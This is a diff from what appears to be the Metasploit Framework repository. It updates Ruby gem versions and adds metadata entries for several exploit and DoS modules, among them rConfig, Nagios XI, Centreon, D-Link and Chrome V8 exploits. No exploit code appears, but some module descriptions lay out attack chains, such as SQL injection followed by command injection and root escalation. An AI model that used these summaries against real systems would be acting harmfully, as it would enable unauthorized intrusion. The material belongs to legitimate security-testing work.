@@ -17,7 +17,7 @@ PATH
em-http-request
eventmachine
faker
faraday (<= 0.17.0)
faraday
faye-websocket
filesize
hrr_rb_ssh (= 0.3.0.pre2)
@@ -27,9 +27,9 @@ PATH
metasploit-concern (~> 2.0.0)
metasploit-credential (~> 3.0.0)
metasploit-model (~> 2.0.4)
metasploit-payloads (= 1.3.84)
metasploit-payloads (= 1.3.86)
metasploit_data_models (~> 3.0.10)
metasploit_payloads-mettle (= 0.5.16)
metasploit_payloads-mettle (= 0.5.21)
mqtt
msgpack
nessus_rest
@@ -117,23 +117,24 @@ GEM
arel (6.0.4)
arel-helpers (2.11.0)
activerecord (>= 3.1.0, < 7)
ast (2.4.0)
aws-eventstream (1.0.3)
aws-partitions (1.278.0)
aws-sdk-core (3.90.1)
aws-partitions (1.288.0)
aws-sdk-core (3.92.0)
aws-eventstream (~> 1.0, >= 1.0.2)
aws-partitions (~> 1, >= 1.239.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1.0)
aws-sdk-ec2 (1.145.0)
aws-sdk-ec2 (1.151.0)
aws-sdk-core (~> 3, >= 3.71.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.33.0)
aws-sdk-iam (1.34.0)
aws-sdk-core (~> 3, >= 3.71.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.29.0)
aws-sdk-kms (1.30.0)
aws-sdk-core (~> 3, >= 3.71.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.60.2)
aws-sdk-s3 (1.61.1)
aws-sdk-core (~> 3, >= 3.83.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.1)
@@ -165,14 +166,14 @@ GEM
eventmachine (>= 1.0.0.beta.4)
erubis (2.7.0)
eventmachine (1.2.7)
factory_bot (5.1.1)
factory_bot (5.1.2)
activesupport (>= 4.2.0)
factory_bot_rails (5.1.1)
factory_bot (~> 5.1.0)
railties (>= 4.2.0)
faker (2.2.1)
i18n (>= 0.8)
faraday (0.17.0)
faraday (1.0.0)
multipart-post (>= 1.2, < 3)
faye-websocket (0.10.9)
eventmachine (>= 0.12.0)
@@ -185,6 +186,7 @@ GEM
http_parser.rb (0.6.0)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
jaro_winkler (1.5.4)
jmespath (1.4.0)
jsobfu (0.4.2)
rkelly-remix
@@ -192,6 +194,7 @@ GEM
loofah (2.4.0)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
memory_profiler (0.9.14)
metasm (1.0.4)
metasploit-concern (2.0.5)
activemodel (~> 4.2.6)
@@ -211,7 +214,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.84)
metasploit-payloads (1.3.86)
metasploit_data_models (3.0.10)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -222,8 +225,8 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.5.16)
method_source (0.9.2)
metasploit_payloads-mettle (0.5.21)
method_source (1.0.0)
mini_portile2 (2.4.0)
minitest (5.14.0)
mqtt (0.5.0)
@@ -233,15 +236,18 @@ GEM
net-ssh (5.2.0)
network_interface (0.0.2)
nexpose (7.2.1)
nokogiri (1.10.8)
nokogiri (1.10.9)
mini_portile2 (~> 2.4.0)
octokit (4.16.0)
octokit (4.18.0)
faraday (>= 0.9)
sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.2)
openvas-omp (0.0.4)
packetfu (1.1.13)
pcaprub
parallel (1.19.1)
parser (2.7.0.5)
ast (~> 2.4.0)
patch_finder (1.0.2)
pcaprub (0.13.0)
pdf-reader (2.4.0)
@@ -256,12 +262,12 @@ GEM
activerecord (~> 4.0)
arel (>= 4.0.1)
pg_array_parser (~> 0.0.9)
pry (0.12.2)
coderay (~> 1.1.0)
method_source (~> 0.9.0)
pry-byebug (3.8.0)
pry (0.13.0)
coderay (~> 1.1)
method_source (~> 1.0)
pry-byebug (3.9.0)
byebug (~> 11.0)
pry (~> 0.10)
pry (~> 0.13.0)
public_suffix (4.0.3)
rack (1.6.13)
rack-protection (1.5.5)
@@ -281,6 +287,7 @@ GEM
activesupport (= 4.2.11.1)
rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0)
rainbow (3.0.0)
rake (13.0.1)
rb-readline (0.5.5)
recog (2.3.7)
@@ -323,16 +330,17 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.21)
rex-socket (0.1.23)
rex-core
rex-sslscan (0.1.5)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.2)
rex-text (0.2.24)
rex-text (0.2.25)
rex-zip (0.1.3)
rex-text
rexml (3.2.4)
rkelly-remix (0.0.7)
rspec (3.9.0)
rspec-core (~> 3.9.0)
@@ -340,35 +348,45 @@ GEM
rspec-mocks (~> 3.9.0)
rspec-core (3.9.1)
rspec-support (~> 3.9.1)
rspec-expectations (3.9.0)
rspec-expectations (3.9.1)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.9.0)
rspec-mocks (3.9.1)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.9.0)
rspec-rails (3.9.0)
actionpack (>= 3.0)
activesupport (>= 3.0)
railties (>= 3.0)
rspec-core (~> 3.9.0)
rspec-expectations (~> 3.9.0)
rspec-mocks (~> 3.9.0)
rspec-support (~> 3.9.0)
rspec-rails (4.0.0)
actionpack (>= 4.2)
activesupport (>= 4.2)
railties (>= 4.2)
rspec-core (~> 3.9)
rspec-expectations (~> 3.9)
rspec-mocks (~> 3.9)
rspec-support (~> 3.9)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.9.2)
rubocop (0.80.1)
jaro_winkler (~> 1.5.1)
parallel (~> 1.10)
parser (>= 2.7.0.1)
rainbow (>= 2.2.2, < 4.0)
rexml
ruby-progressbar (~> 1.7)
unicode-display_width (>= 1.4.0, < 1.7)
ruby-macho (2.2.0)
ruby-prof (1.3.1)
ruby-progressbar (1.10.1)
ruby-rc4 (0.1.5)
ruby_smb (1.1.0)
bindata
rubyntlm
windows_error
rubyntlm (0.6.2)
rubyzip (2.2.0)
rubyzip (2.3.0)
sawyer (0.8.2)
addressable (>= 2.3.5)
faraday (> 0.8, < 2.0)
simplecov (0.18.5)
simplecov (0.18.2)
docile (~> 1.1)
simplecov-html (~> 0.11)
simplecov-html (0.12.2)
@@ -392,6 +410,7 @@ GEM
thread_safe (~> 0.1)
tzinfo-data (1.2019.3)
tzinfo (>= 1.0.0)
unicode-display_width (1.6.1)
warden (1.2.7)
rack (>= 1.0)
websocket-driver (0.7.1)
@@ -410,6 +429,7 @@ PLATFORMS
DEPENDENCIES
factory_bot_rails
fivemat
memory_profiler
metasploit-framework!
octokit
pry-byebug
@@ -417,7 +437,9 @@ DEPENDENCIES
redcarpet
rspec-rails
rspec-rerun
simplecov
rubocop
ruby-prof
simplecov (= 0.18.2)
sqlite3 (~> 1.3.0)
swagger-blocks
timecop
+33 -22
View File
@@ -9,13 +9,14 @@ addressable, 2.7.0, "Apache 2.0"
afm, 0.2.2, MIT
arel, 6.0.4, MIT
arel-helpers, 2.11.0, MIT
ast, 2.4.0, MIT
aws-eventstream, 1.0.3, "Apache 2.0"
aws-partitions, 1.278.0, "Apache 2.0"
aws-sdk-core, 3.90.1, "Apache 2.0"
aws-sdk-ec2, 1.145.0, "Apache 2.0"
aws-sdk-iam, 1.33.0, "Apache 2.0"
aws-sdk-kms, 1.29.0, "Apache 2.0"
aws-sdk-s3, 1.60.2, "Apache 2.0"
aws-partitions, 1.288.0, "Apache 2.0"
aws-sdk-core, 3.92.0, "Apache 2.0"
aws-sdk-ec2, 1.151.0, "Apache 2.0"
aws-sdk-iam, 1.34.0, "Apache 2.0"
aws-sdk-kms, 1.30.0, "Apache 2.0"
aws-sdk-s3, 1.61.1, "Apache 2.0"
aws-sigv4, 1.1.1, "Apache 2.0"
bcrypt, 3.1.12, MIT
bcrypt_pbkdf, 1.0.1, MIT
@@ -37,10 +38,10 @@ em-http-request, 1.1.5, MIT
em-socksify, 0.3.2, MIT
erubis, 2.7.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 5.1.1, MIT
factory_bot, 5.1.2, MIT
factory_bot_rails, 5.1.1, MIT
faker, 2.2.1, MIT
faraday, 0.17.0, MIT
faraday, 1.0.0, MIT
faye-websocket, 0.10.9, "Apache 2.0"
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
@@ -48,19 +49,21 @@ hashery, 2.1.2, "Simplified BSD"
hrr_rb_ssh, 0.3.0.pre2, "Apache 2.0"
http_parser.rb, 0.6.0, MIT
i18n, 0.9.5, MIT
jaro_winkler, 1.5.4, MIT
jmespath, 1.4.0, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.3.0, ruby
loofah, 2.4.0, MIT
memory_profiler, 0.9.14, MIT
metasm, 1.0.4, LGPL-2.1
metasploit-concern, 2.0.5, "New BSD"
metasploit-credential, 3.0.4, "New BSD"
metasploit-framework, 5.0.78, "New BSD"
metasploit-framework, 5.0.83, "New BSD"
metasploit-model, 2.0.4, "New BSD"
metasploit-payloads, 1.3.84, "3-clause (or ""modified"") BSD"
metasploit-payloads, 1.3.86, "3-clause (or ""modified"") BSD"
metasploit_data_models, 3.0.10, "New BSD"
metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD"
method_source, 0.9.2, MIT
metasploit_payloads-mettle, 0.5.21, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mini_portile2, 2.4.0, MIT
minitest, 5.14.0, MIT
mqtt, 0.5.0, MIT
@@ -70,19 +73,21 @@ nessus_rest, 0.1.6, MIT
net-ssh, 5.2.0, MIT
network_interface, 0.0.2, MIT
nexpose, 7.2.1, "New BSD"
nokogiri, 1.10.8, MIT
octokit, 4.16.0, MIT
nokogiri, 1.10.9, MIT
octokit, 4.18.0, MIT
openssl-ccm, 1.2.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
parallel, 1.19.1, MIT
parser, 2.7.0.5, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.0, LGPL-2.1
pdf-reader, 2.4.0, MIT
pg, 0.21.0, "New BSD"
pg_array_parser, 0.0.9, unknown
postgres_ext, 3.0.1, MIT
pry, 0.12.2, MIT
pry-byebug, 3.8.0, MIT
pry, 0.13.0, MIT
pry-byebug, 3.9.0, MIT
public_suffix, 4.0.3, MIT
rack, 1.6.13, MIT
rack-protection, 1.5.5, MIT
@@ -91,6 +96,7 @@ rails-deprecated_sanitizer, 1.0.3, MIT
rails-dom-testing, 1.0.9, MIT
rails-html-sanitizer, 1.3.0, MIT
railties, 4.2.11.1, MIT
rainbow, 3.0.0, MIT
rake, 13.0.1, MIT
rb-readline, 0.5.5, BSD
recog, 2.3.7, unknown
@@ -108,26 +114,30 @@ rex-powershell, 0.1.87, "New BSD"
rex-random_identifier, 0.1.4, "New BSD"
rex-registry, 0.1.3, "New BSD"
rex-rop_builder, 0.1.3, "New BSD"
rex-socket, 0.1.21, "New BSD"
rex-socket, 0.1.23, "New BSD"
rex-sslscan, 0.1.5, "New BSD"
rex-struct2, 0.1.2, "New BSD"
rex-text, 0.2.24, "New BSD"
rex-text, 0.2.25, "New BSD"
rex-zip, 0.1.3, "New BSD"
rexml, 3.2.4, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.9.0, MIT
rspec-core, 3.9.1, MIT
rspec-expectations, 3.9.0, MIT
rspec-expectations, 3.9.1, MIT
rspec-mocks, 3.9.1, MIT
rspec-rails, 3.9.0, MIT
rspec-rails, 4.0.0, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.9.2, MIT
rubocop, 0.80.1, MIT
ruby-macho, 2.2.0, MIT
ruby-prof, 1.3.1, "Simplified BSD"
ruby-progressbar, 1.10.1, MIT
ruby-rc4, 0.1.5, MIT
ruby_smb, 1.1.0, "New BSD"
rubyntlm, 0.6.2, MIT
rubyzip, 2.2.0, "Simplified BSD"
rubyzip, 2.3.0, "Simplified BSD"
sawyer, 0.8.2, MIT
simplecov, 0.18.5, MIT
simplecov, 0.18.2, MIT
simplecov-html, 0.12.2, MIT
sinatra, 1.4.8, MIT
sqlite3, 1.3.13, "New BSD"
@@ -141,6 +151,7 @@ timecop, 0.9.1, MIT
ttfunk, 1.6.2.1, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 1.2.6, MIT
tzinfo-data, 1.2019.3, MIT
unicode-display_width, 1.6.1, MIT
warden, 1.2.7, MIT
websocket-driver, 0.7.1, "Apache 2.0"
websocket-extensions, 0.1.4, "Apache 2.0"
Vendored
+1 -1
View File
@@ -3,7 +3,7 @@
Vagrant.configure(2) do |config|
config.ssh.forward_x11 = true
config.vm.box = "ubuntu/xenial64"
config.vm.box = "ubuntu/bionic64"
config.vm.network :forwarded_port, guest: 4444, host: 4444
config.vm.provider "vmware" do |v|
v.memory = 2048
File diff suppressed because one or more lines are too long
+1351 -102
View File
@@ -8788,7 +8788,7 @@
],
"description": "This module modifies a .docx file that will, upon opening, submit stored\n netNTLM credentials to a remote host. It can also create an empty docx file. If\n emailed the receiver needs to put the document in editing mode before the remote\n server will be contacted. Preview and read-only mode do not work. Verified to work\n with Microsoft Word 2003, 2007, 2010, and 2013. In order to get the hashes the\n auxiliary/server/capture/smb module can be used.",
"references": [
"URL-http://jedicorp.com/?p=534"
"URL-https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534"
],
"platform": "",
"arch": "",
@@ -8800,7 +8800,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-02-24 18:17:06 +0000",
"path": "/modules/auxiliary/docx/word_unc_injector.rb",
"is_install_path": true,
"ref_name": "docx/word_unc_injector",
@@ -9441,6 +9441,59 @@
},
"needs_cleanup": false
},
"auxiliary_dos/http/cable_haunt_websocket_dos": {
"name": "\"Cablehaunt\" Cable Modem WebSocket DoS",
"fullname": "auxiliary/dos/http/cable_haunt_websocket_dos",
"aliases": [
],
"rank": 300,
"disclosure_date": "2020-01-07",
"type": "auxiliary",
"author": [
"Alexander Dalsgaard Krog (Lyrebirds)",
"Jens Hegner Stærmose (Lyrebirds)",
"Kasper Kohsel Terndrup (Lyrebirds)",
"Simon Vandel Sillesen (Independent)",
"Nicholas Starke"
],
"description": "There exists a buffer overflow vulnerability in certain\n Cable Modem Spectrum Analyzer interfaces. This overflow\n is exploitable, but since an exploit would differ between\n every make, model, and firmware version (which also\n differs from ISP to ISP), this module simply causes a\n Denial of Service to test if the vulnerability is present.",
"references": [
"CVE-2019-19494",
"EDB-47936",
"URL-https://cablehaunt.com/",
"URL-https://github.com/Lyrebirds/sagemcom-fast-3890-exploit"
],
"platform": "",
"arch": "",
"rport": 8080,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2020-03-31 10:35:54 +0000",
"path": "/modules/auxiliary/dos/http/cable_haunt_websocket_dos.rb",
"is_install_path": true,
"ref_name": "dos/http/cable_haunt_websocket_dos",
"check": false,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_dos/http/canon_wireless_printer": {
"name": "Canon Wireless Printer Denial Of Service",
"fullname": "auxiliary/dos/http/canon_wireless_printer",
@@ -10247,6 +10300,53 @@
},
"needs_cleanup": false
},
"auxiliary_dos/http/tautulli_shutdown_exec": {
"name": "Tautulli v2.1.9 - Shutdown Denial of Service",
"fullname": "auxiliary/dos/http/tautulli_shutdown_exec",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Ismail Tasdelen"
],
"description": "Tautulli versions 2.1.9 and prior are vulnerable to denial of service via the /shutdown URL.",
"references": [
"CVE-2019-19833",
"EDB-47785"
],
"platform": "",
"arch": "",
"rport": 8181,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2020-01-17 13:57:32 +0000",
"path": "/modules/auxiliary/dos/http/tautulli_shutdown_exec.rb",
"is_install_path": true,
"ref_name": "dos/http/tautulli_shutdown_exec",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_dos/http/ua_parser_js_redos": {
"name": "ua-parser-js npm module ReDoS",
"fullname": "auxiliary/dos/http/ua_parser_js_redos",
@@ -15066,7 +15166,7 @@
"https"
],
"targets": null,
"mod_time": "2019-12-12 09:57:10 +0000",
"mod_time": "2020-03-31 11:02:14 +0000",
"path": "/modules/auxiliary/gather/chrome_debugger.rb",
"is_install_path": true,
"ref_name": "gather/chrome_debugger",
@@ -28133,7 +28233,7 @@
"https"
],
"targets": null,
"mod_time": "2018-02-23 13:16:41 +0000",
"mod_time": "2020-02-25 10:14:02 +0000",
"path": "/modules/auxiliary/scanner/http/owa_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/owa_login",
@@ -36694,7 +36794,7 @@
"zerosum0x0",
"Tom Sellers"
],
"description": "This module checks a range of hosts for the CVE-2019-0708 vulnerability\n by binding the MS_T120 channel outside of its normal slot and sending\n non-DoS packets which respond differently on patched and vulnerable hosts.\n It can optionally trigger the DoS vulnerability.",
"description": "This module checks a range of hosts for the CVE-2019-0708 vulnerability\n by binding the MS_T120 channel outside of its normal slot and sending\n non-DoS packets which respond differently on patched and vulnerable hosts.\n It can optionally trigger the DoS vulnerability.",
"references": [
"CVE-2019-0708",
"URL-https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708",
@@ -36710,7 +36810,7 @@
],
"targets": null,
"mod_time": "2019-11-11 17:33:10 +0000",
"mod_time": "2020-03-05 14:48:37 +0000",
"path": "/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb",
"is_install_path": true,
"ref_name": "scanner/rdp/cve_2019_0708_bluekeep",
@@ -39974,7 +40074,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2019-03-05 03:38:51 +0000",
"mod_time": "2020-02-13 11:56:12 +0000",
"path": "/modules/auxiliary/scanner/smb/smb_enumusers.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb_enumusers",
@@ -51371,6 +51471,67 @@
},
"needs_cleanup": true
},
"exploit_linux/http/centreon_pollers_auth_rce": {
"name": "Centreon Poller Authenticated Remote Command Execution",
"fullname": "exploit/linux/http/centreon_pollers_auth_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-01-27",
"type": "exploit",
"author": [
"Omri Baso",
"Fabien Aunay",
"mekhalleh (RAMELLA Sébastien)"
],
"description": "An authenticated user with sufficient administrative rights to manage pollers can use this functionality to\n execute arbitrary commands remotely. Usually, the miscellaneous commands are used by the additional modules\n (to perform certain actions), by the scheduler for data processing, etc.\n\n This module uses this functionality to obtain a remote shell on the target.",
"references": [
"EDB-47977"
],
"platform": "Linux,Unix",
"arch": "cmd, x64",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Reverse shell (In-Memory)",
"Meterpreter (Dropper)"
],
"mod_time": "2020-03-17 12:15:06 +0000",
"path": "/modules/exploits/linux/http/centreon_pollers_auth_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/centreon_pollers_auth_rce",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"needs_cleanup": null
},
"exploit_linux/http/centreon_sqli_exec": {
"name": "Centreon SQL and Command Injection",
"fullname": "exploit/linux/http/centreon_sqli_exec",
@@ -52758,6 +52919,57 @@
},
"needs_cleanup": null
},
"exploit_linux/http/dlink_dwl_2600_command_injection": {
"name": "DLINK DWL-2600 Authenticated Remote Command Injection",
"fullname": "exploit/linux/http/dlink_dwl_2600_command_injection",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-05-15",
"type": "exploit",
"author": [
"RAKI BEN HAMOUDA",
"Nick Starke"
],
"description": "Some DLINK Access Points are vulnerable to an authenticated OS command injection.\n Default credentials for the web interface are admin/admin.",
"references": [
"CVE-2019-20499",
"EDB-46841"
],
"platform": "Linux,Unix",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"CMD",
"Linux mips Payload"
],
"mod_time": "2020-03-27 12:37:40 +0000",
"path": "/modules/exploits/linux/http/dlink_dwl_2600_command_injection.rb",
"is_install_path": true,
"ref_name": "linux/http/dlink_dwl_2600_command_injection",
"check": false,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": null
},
"exploit_linux/http/dlink_hedwig_cgi_bof": {
"name": "D-Link hedwig.cgi Buffer Overflow in Cookie Header",
"fullname": "exploit/linux/http/dlink_hedwig_cgi_bof",
@@ -55422,6 +55634,58 @@
},
"needs_cleanup": null
},
"exploit_linux/http/nagios_xi_authenticated_rce": {
"name": "Nagios XI Authenticated Remote Command Execution",
"fullname": "exploit/linux/http/nagios_xi_authenticated_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-07-29",
"type": "exploit",
"author": [
"Jak Gibb",
"Erik Wynter"
],
"description": "This module exploits a vulnerability in Nagios XI before 5.6.6 in\n order to execute arbitrary commands as root.\n\n The module uploads a malicious plugin to the Nagios XI server and then\n executes this plugin by issuing an HTTP GET request to download a\n system profile from the server. For all supported targets except Linux\n (cmd), the module uses a command stager to write the exploit to the\n target via the malicious plugin. This may not work if Nagios XI is\n running in a restricted Unix environment, so in that case the target\n must be set to Linux (cmd). The module then writes the payload to the\n malicious plugin while avoiding commands that may not be supported.\n\n Valid credentials for a user with administrative privileges are\n required. This module was successfully tested on Nagios XI 5.6.5\n running on CentOS 7. The module may behave differently against older\n versions of Nagios XI. See the documentation for more information.",
"references": [
"CVE-2019-15949",
"URL-https://github.com/jakgibb/nagiosxi-root-rce-exploit"
],
"platform": "",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Linux (x86)",
"Linux (x64)",
"Linux (cmd)"
],
"mod_time": "2020-03-09 11:56:15 +0000",
"path": "/modules/exploits/linux/http/nagios_xi_authenticated_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/nagios_xi_authenticated_rce",
"check": true,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": null
},
"exploit_linux/http/nagios_xi_chained_rce": {
"name": "Nagios XI Chained Remote Code Execution",
"fullname": "exploit/linux/http/nagios_xi_chained_rce",
@@ -57071,6 +57335,60 @@
},
"needs_cleanup": true
},
"exploit_linux/http/rconfig_ajaxarchivefiles_rce": {
"name": "Rconfig 3.x Chained Remote Code Execution",
"fullname": "exploit/linux/http/rconfig_ajaxarchivefiles_rce",
"aliases": [
],
"rank": 400,
"disclosure_date": "2020-03-11",
"type": "exploit",
"author": [
"Jean-Pascal Thomas",
"Orange Cyberdefense"
],
"description": "This module exploits multiple vulnerabilities in rConfig version 3.9\n in order to execute arbitrary commands.\n This module takes advantage of a command injection vulnerability in the\n `path` parameter of the ajax archive file functionality within the rConfig web\n interface in order to execute the payload.\n Valid credentials for a user with administrative privileges are required.\n However, this module can bypass authentication via SQLI.\n This module has been successfully tested on Rconfig 3.9.3 and 3.9.4.\n The steps are:\n 1. SQLi on /commands.inc.php allows us to add an administrative user.\n 2. An authenticated session is established with the newly added user\n 3. Command Injection on /lib/ajaxHandlers/ajaxArchiveFiles.php allows us to\n execute the payload.\n 4. Remove the added admin user.\n Tips : once you get a shell, look at the CVE-2019-19585.\n You will probably get root because rConfig install script add Apache user to\n sudoers with nopasswd ;-)",
"references": [
"CVE-2019-19509",
"CVE-2020-10220",
"EDB-47982",
"EDB-48208",
"URL-https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2019-19509.py",
"URL-https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py"
],
"platform": "Linux,Unix",
"arch": "cmd",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Auto"
],
"mod_time": "2020-03-13 10:42:40 +0000",
"path": "/modules/exploits/linux/http/rconfig_ajaxarchivefiles_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/rconfig_ajaxarchivefiles_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"exploit_linux/http/realtek_miniigd_upnp_exec_noauth": {
"name": "Realtek SDK Miniigd UPnP SOAP Command Execution",
"fullname": "exploit/linux/http/realtek_miniigd_upnp_exec_noauth",
@@ -60203,7 +60521,7 @@
"Marco Ivaldi",
"Guillaume André"
],
"description": "This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive).\n Improper validation of recipient address in deliver_message()\n function in /src/deliver.c may lead to command execution with root privileges\n (CVE-2019-10149).",
"description": "This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive).\n Improper validation of recipient address in deliver_message()\n function in /src/deliver.c may lead to command execution with root privileges\n (CVE-2019-10149).",
"references": [
"CVE-2019-10149",
"EDB-46996",
@@ -60221,7 +60539,7 @@
"targets": [
"Exim 4.87 - 4.91"
],
"mod_time": "2020-02-05 19:13:19 +0000",
"mod_time": "2020-03-05 14:48:37 +0000",
"path": "/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/exim4_deliver_message_priv_esc",
@@ -63440,11 +63758,11 @@
},
"needs_cleanup": null
},
"exploit_linux/redis/redis_unauth_exec": {
"name": "Redis Unauthenticated Code Execution",
"fullname": "exploit/linux/redis/redis_unauth_exec",
"exploit_linux/redis/redis_replication_cmd_exec": {
"name": "Redis Replication Code Execution",
"fullname": "exploit/linux/redis/redis_replication_cmd_exec",
"aliases": [
"exploit/linux/redis/redis_unauth_exec"
],
"rank": 400,
"disclosure_date": "2018-11-13",
@@ -63452,7 +63770,7 @@
"author": [
"Green-m <greenm.xxoo@gmail.com>"
],
"description": "This module can be used to leverage the extension functionality added by Redis 4.x and 5.x\n to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis\n which called replication between master and slave.",
"description": "This module can be used to leverage the extension functionality added since Redis 4.0.0\n to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis\n which called replication between master and slave.",
"references": [
"URL-https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf",
"URL-https://github.com/RedisLabs/RedisModulesSDK"
@@ -63469,11 +63787,11 @@
"targets": [
"Automatic"
],
"mod_time": "2019-12-09 20:09:52 +0000",
"path": "/modules/exploits/linux/redis/redis_unauth_exec.rb",
"mod_time": "2020-03-28 11:43:47 +0000",
"path": "/modules/exploits/linux/redis/redis_replication_cmd_exec.rb",
"is_install_path": true,
"ref_name": "linux/redis/redis_unauth_exec",
"check": false,
"ref_name": "linux/redis/redis_replication_cmd_exec",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
@@ -65218,6 +65536,141 @@
},
"needs_cleanup": null
},
"exploit_multi/browser/chrome_array_map": {
"name": "Google Chrome 72 and 73 Array.map exploit",
"fullname": "exploit/multi/browser/chrome_array_map",
"aliases": [
],
"rank": 0,
"disclosure_date": "2019-03-07",
"type": "exploit",
"author": [
"dmxcsnsbh",
"István Kurucsai",
"timwr"
],
"description": "This module exploits an issue in Chrome 73.0.3683.86 (64 bit).\n The exploit corrupts the length of a float in order to modify the backing store\n of a typed array. The typed array can then be used to read and write arbitrary\n memory. The exploit then uses WebAssembly in order to allocate a region of RWX\n memory, which is then replaced with the payload.\n The payload is executed within the sandboxed renderer process, so the browser\n must be run with the --no-sandbox option for the payload to work correctly.",
"references": [
"CVE-2019-5825",
"URL-https://bugs.chromium.org/p/chromium/issues/detail?id=941743",
"URL-https://github.com/exodusintel/Chromium-941743",
"URL-https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/",
"URL-https://lordofpwn.kr/cve-2019-5825-v8-exploit/"
],
"platform": "OSX,Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Automatic"
],
"mod_time": "2020-02-15 10:37:15 +0000",
"path": "/modules/exploits/multi/browser/chrome_array_map.rb",
"is_install_path": true,
"ref_name": "multi/browser/chrome_array_map",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"exploit_multi/browser/chrome_jscreate_sideeffect": {
"name": "Google Chrome 80 JSCreate side-effect type confusion exploit",
"fullname": "exploit/multi/browser/chrome_jscreate_sideeffect",
"aliases": [
],
"rank": 0,
"disclosure_date": "2020-02-19",
"type": "exploit",
"author": [
"Clément Lecigne",
"István Kurucsai",
"Vignesh S Rao",
"timwr"
],
"description": "This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit\n corrupts the length of a float array (float_rel), which can then be used for out\n of bounds read and write on adjacent memory.\n The relative read and write is then used to modify a UInt64Array (uint64_aarw)\n which is used for read and writing from absolute memory.\n The exploit then uses WebAssembly in order to allocate a region of RWX memory,\n which is then replaced with the payload shellcode.\n The payload is executed within the sandboxed renderer process, so the browser\n must be run with the --no-sandbox option for the payload to work correctly.",
"references": [
"CVE-2020-6418",
